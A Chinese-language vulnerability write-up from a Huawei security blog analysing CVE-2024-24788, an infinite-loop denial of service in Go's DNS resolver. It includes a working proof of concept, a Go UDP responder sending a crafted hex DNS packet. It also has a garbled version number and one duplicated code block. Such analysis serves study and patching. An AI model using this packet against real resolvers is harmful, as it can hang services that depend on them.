CVE-2024-24788 Golang DNS解析过程中的DOS漏洞

CVE-2024-24788 Golang DNS解析过程中的DOS漏洞

原创 杨悦 华为安全应急响应中心 2024-07-04 18:10

1

漏洞元数据

project:Golang

Publish Date:05/08/2024    

Confirm:https://go-review.googlesource.com/c/go/+/578375

CVE-ID:CVE-2024-24788

Exploits:见下文    

Affect Version:< 1.2.22

Fix Version:1.2.22

Fix Commit:https://go-review.googlesource.com/c/go/+/578375/2/src/net/dnsclient_unix.go

2

漏洞描述

A malformed DNS message in response to a query can cause the Lookup functions to get stuck in an infinite loop.

3

漏洞分析

根据 commit 的记录可以看到,在
net/dnsclient_unix.go#extractExtendedRCode 之前的循环中,没有处理
p.SkipAdditional 可能产生的报错,如果这里报错了,就会循环处理。

寻找 extractExtendedRCode 调用点

简单搜索一下,可以发现如下的一些调用点。

写一个简单的 demo

func main() {
  r := net.Resolver{PreferGo: true}
  r.LookupNS(context.TODO(), "test.dns.o1hy.com")
  fmt.Println("over")
}

此时发现已经到了存在漏洞的地方了。

此时堆栈调用情况如下

net.extractExtendedRCode (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:262)
net.checkHeader (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:207)
net.(*Resolver).tryOneName (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:314)
net.(*Resolver).lookup (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:462)
net.(*Resolver).goLookupNS (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:815)
net.(*Resolver).lookupNS (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup_unix.go:108)
net.(*Resolver).LookupNS (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:610)
main.main (/Users/ymoon/workspace/project/golang/1-CloudMitm/test/test_dns.go:54)
runtime.main (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/proc.go:271)
runtime.goexit (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/asm_arm64.s:1222)

触发报错

func extractExtendedRCode(p dnsmessage.Parser, hdr dnsmessage.Header) dnsmessage.RCode {
  p.SkipAllAnswers()
  p.SkipAllAuthorities()
  for {
    // 此函数不能报错
    ahdr, err := p.AdditionalHeader()
    if err != nil {
      return hdr.RCode
    }
    // 这里的 type 不能为 TypeOPT
    if ahdr.Type == dnsmessage.TypeOPT {
      return ahdr.ExtendedRCode(hdr.RCode)
    }
    // 此函数需要报错
    p.SkipAdditional()
  }
}

这里需要重点关注的是 
p.AdditionalHeader 和 
p.SkipAdditional() 。
SkipAdditional 的底层调用为 
func (p Parser) skipResource(sec section) error 函数。
AdditionalHeader 的底层函数为 
func (p
Parser) resourceHeader(sec section) (ResourceHeader, error)。

根据循环逻辑,可以理解为调用完 resourceHeader 后会调用 skipResource,要求为:resourceHeader不能报错,skipResource需要报错。

通过对比此处代码发现,只有在如下代码处有报错的可能性。

// 这里的 if 一直为 true
// p.section 和 sec 均为常量
if p.resHeaderValid && p.section == sec {
  // p.off 不可控
  // 此时如果让 p.resHeaderLength 为一个很大的值,就会让下面的报错触发了。
  newOff := p.off + int(p.resHeaderLength)
  if newOff > len(p.msg) {
    return errResourceLen
  }
  p.off = newOff
  p.resHeaderValid = false
  p.index++
  return nil
}

控制 p.resHeaderLength

resourceHeader 函数

func (p *Parser) resourceHeader(sec section) (ResourceHeader, error) {
  if p.resHeaderValid {
    p.off = p.resHeaderOffset
  }

  if err := p.checkAdvance(sec); err != nil {
    return ResourceHeader{}, err
  }
  var hdr ResourceHeader
  // 由此解析 msg 到 hdr 中
  off, err := hdr.unpack(p.msg, p.off)
  if err != nil {
    return ResourceHeader{}, err
  }
  p.resHeaderValid = true
  p.resHeaderOffset = p.off
  p.resHeaderType = hdr.Type
  // 需要让 hdr.Length 为一个大值
  p.resHeaderLength = hdr.Length
  p.off = off
  return hdr, nil
}

跟入到 unpack 中

func (p *Parser) resourceHeader(sec section) (ResourceHeader, error) {
  if p.resHeaderValid {
    p.off = p.resHeaderOffset
  }

  if err := p.checkAdvance(sec); err != nil {
    return ResourceHeader{}, err
  }
  var hdr ResourceHeader
  // 由此解析 msg 到 hdr 中
  off, err := hdr.unpack(p.msg, p.off)
  if err != nil {
    return ResourceHeader{}, err
  }
  p.resHeaderValid = true
  p.resHeaderOffset = p.off
  p.resHeaderType = hdr.Type
  // 需要让 hdr.Length 为一个大值
  p.resHeaderLength = hdr.Length
  p.off = off
  return hdr, nil
}

通过 wireshark 抓包看一下 demo 中的请求数据。

小结

为了触发循环过程中
 p.SkipAdditional() 报错需要进行如下操作:
– 确保 
resourceHeader 正常解析,并且在解析时 
unpack 解析到了 Addtional Data 的长度是一个大值。

  • 确保 Addtional Data 的 Type 不是 
    message.TypeOPT

4

构造利用

通过上面的小结可以直接对已有的数据包进行修改,然后重放这个 response 就可以了。

func main() {
  go StartUdp()
  r := net.Resolver{PreferGo: true, Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
    udpAddr, err := net.ResolveUDPAddr("udp", "127.0.0.1:1153")
    if err != nil {
      log.Println(err)
      os.Exit(1)
    }
    return net.DialUDP("udp", nil, udpAddr)
  }}
  r.LookupNS(context.TODO(), "test.dns.o1hy.com")
  fmt.Println("over")
}

// 接受 DNS 请求
func StartUdp() {
  addr := "0.0.0.0:1153"
  udpAddr, err := net.ResolveUDPAddr("udp", addr)
  if err != nil {
    log.Println(udpAddr)
  }
  conn, err := net.ListenUDP("udp", udpAddr)
  defer conn.Close()
  if err != nil {
    log.Println(err)
  }
  for {
    hanldUdp(conn)
  }
}

func hanldUdp(conn *net.UDPConn) {
  var buf [512]byte
  n, addr, _ := conn.ReadFromUDP(buf[0:])
  fmt.Println(buf[:n])
  // 修改这个值为一个比实际 Additional Data 大的值。通常 go 获取到的 Data 都是 0
  hdrLength := "0001"
  // 下面数据中的 hdrType 也已经进行了修改
  data, err := hex.DecodeString("daa581820001000000000001047465737403646e73046f31687903636f6d000002000100003104d000000000" + hdrLength)
  // 修改 dns resp 的 id
  data[0] = buf[0]
  data[1] = buf[1]
  _, err = conn.WriteToUDP(data, addr)
  if err != nil {
    fmt.Println("发送响应失败:", err)
    return
  }
}

5

影响场景

根据
extractExtendedRCode 的调用点可以看到,
TXT\NS\MX\SRV… 等会受到影响,进一步分析函数调用发现,对于
CNAME 等其实也是受影响了。总之都会触发到
tryOneName 处。

net.Dial、http.XXX 场景

理论上,应该影响到 net.Dial 这些场景才对。但实际上没有触发。

net.(*Resolver).lookupIP (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup_unix.go:63)
net.(*Resolver).lookupIP-fm (未知源:1)
net.init.func1 (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/hook.go:22)
net.(*Resolver).lookupIPAddr.func1 (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:334)
singleflight.(*Group).doCall (/opt/homebrew/Cellar/go/1.22.1/libexec/src/internal/singleflight/singleflight.go:93)
singleflight.(*Group).DoChan.gowrap1 (/opt/homebrew/Cellar/go/1.22.1/libexec/src/internal/singleflight/singleflight.go:86)
runtime.goexit (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/asm_arm64.s:1222)

... 进入到匿名函数中
net.(*Resolver).lookupIPAddr (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:342)
net.(*Resolver).internetAddrList (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/ipsock.go:288)
net.(*Resolver).resolveAddrList (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:283)
net.(*Dialer).DialContext (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:490)
net.(*Dialer).Dial (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:434)
net.Dial (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:401)
main.main (/Users/ymoon/workspace/project/golang/1-CloudMitm/test/test_dns.go:53)
runtime.main (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/proc.go:271)
runtime.goexit (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/asm_arm64.s:1222)

正常如果走到了下面的
goLookupIPCNAMEOrder 就会造成 DOS 了。但是居然没有走到这里,而是跑到了
cgoLookupIP 中,然而我没有开启 CGO..

跟入到 
hostLookupOrder 中,看看为什么会返回 order == cgo

再看看 c.preferCgo,它受到如下的影响。

net/conf.go#func goosPrefersCgo() bool

最终导致它通过了
cgoLookupIP 来解析域名。

漏洞利用

漏洞在利用过程中有一个遗憾,就是需要 DNS 服务器可控:向指定的 DNS 服务器发起查询请求才可以。

如果是通过公共 DNS 服务器层层解析过来后,公共 DNS 服务器会发现数据包中的 length 存在问题,从而丢弃异常的数据。

笔者目前没有找到突破这里限制。但也有一些思路:
1. 构造出不会被公共 DNS 服务器丢弃的数据包

  1. 找到其他触发 extractExtendedRCode 中报错点。目前我找到的这个点是最明显的…

linux下的 net.Dial

在上一个小结中发现,在 windows 和 mac 系统下,golang 会使用 cgo 的 dns 解析去解析 URL。但是在 linux 下确有着不一样的表现。

在使用 net.Dial 时,linux 下还是会通过 golang 的 DNS 解析去解析地址,此时就会走到 tryOneName 中。所以只需要针对 net.Dial 去查询的 DNS 返回对应的数据就可以造成 DOS 了,即如下环境

package main

import "net"

func main() {
  net.Dial("tcp", "www.baidu.com:80")
}

本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

推荐阅读

揭秘OAuth 2.0:协议背后的安全隐患

奖励范围更新!华为乾坤现已加入华为安全奖励计划~

华为终端安全奖励计划翻倍活动即日开启,点击踏上您的寻漏征程!

点这里
关注我们,一键三连~